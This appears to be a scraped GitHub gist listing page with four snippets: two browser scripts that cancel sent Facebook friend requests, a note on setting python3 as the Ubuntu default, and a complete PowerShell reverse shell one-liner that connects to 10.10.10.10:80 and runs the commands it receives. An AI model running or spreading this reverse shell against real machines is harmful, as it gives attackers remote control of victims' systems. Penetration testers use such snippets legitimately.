Skip to content

Instantly share code, notes, and snippets.

View nth347's full-sized avatar
💣
Working from home

nth347 nth347

💣
Working from home
View GitHub Profile
@thelatestcheckout
thelatestcheckout / fbremovesentrequest.txt
Created January 25, 2020 08:21
Facebook - Delete Sent Friend Request
1. Open google chrome
2. Go to fb mobile link
https://m.facebook.com/friends/center/requests/outgoing/#friends_center_main
3. Open Inspector mode/Dev tool
4. Hover over "cancel" button to find the class
5. Copy the class and replace in the following code -
javascript: var inputs = document.getElementsByClassName('class');
for (var i = 0; i < inputs.length; i++) {
inputs[i].click();
}
@thanhtunguet
thanhtunguet / sent-friend-requests.js
Last active August 3, 2023 04:09
Cancel all sent friend requests on Facebook
(() => {
const buttons = document.getElementsByClassName('_54k8 _52jg _56bs _26vk _2b4n _56bt');
Object.values(buttons)
.forEach((button) => button.click());
})();
@egre55
egre55 / powershell_reverse_shell.ps1
Last active February 27, 2025 12:42
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@patrickmmartin
patrickmmartin / PYTHON_DEFAULT.md
Created February 5, 2017 09:48
update-alternatives for python3 on Ubuntu

Ubuntu 16 default python is almost python 3

Loads of solutions exist, but for changing the system default, alias is not the way to go.

$ update-alternatives --list python update-alternatives: error: no alternatives for python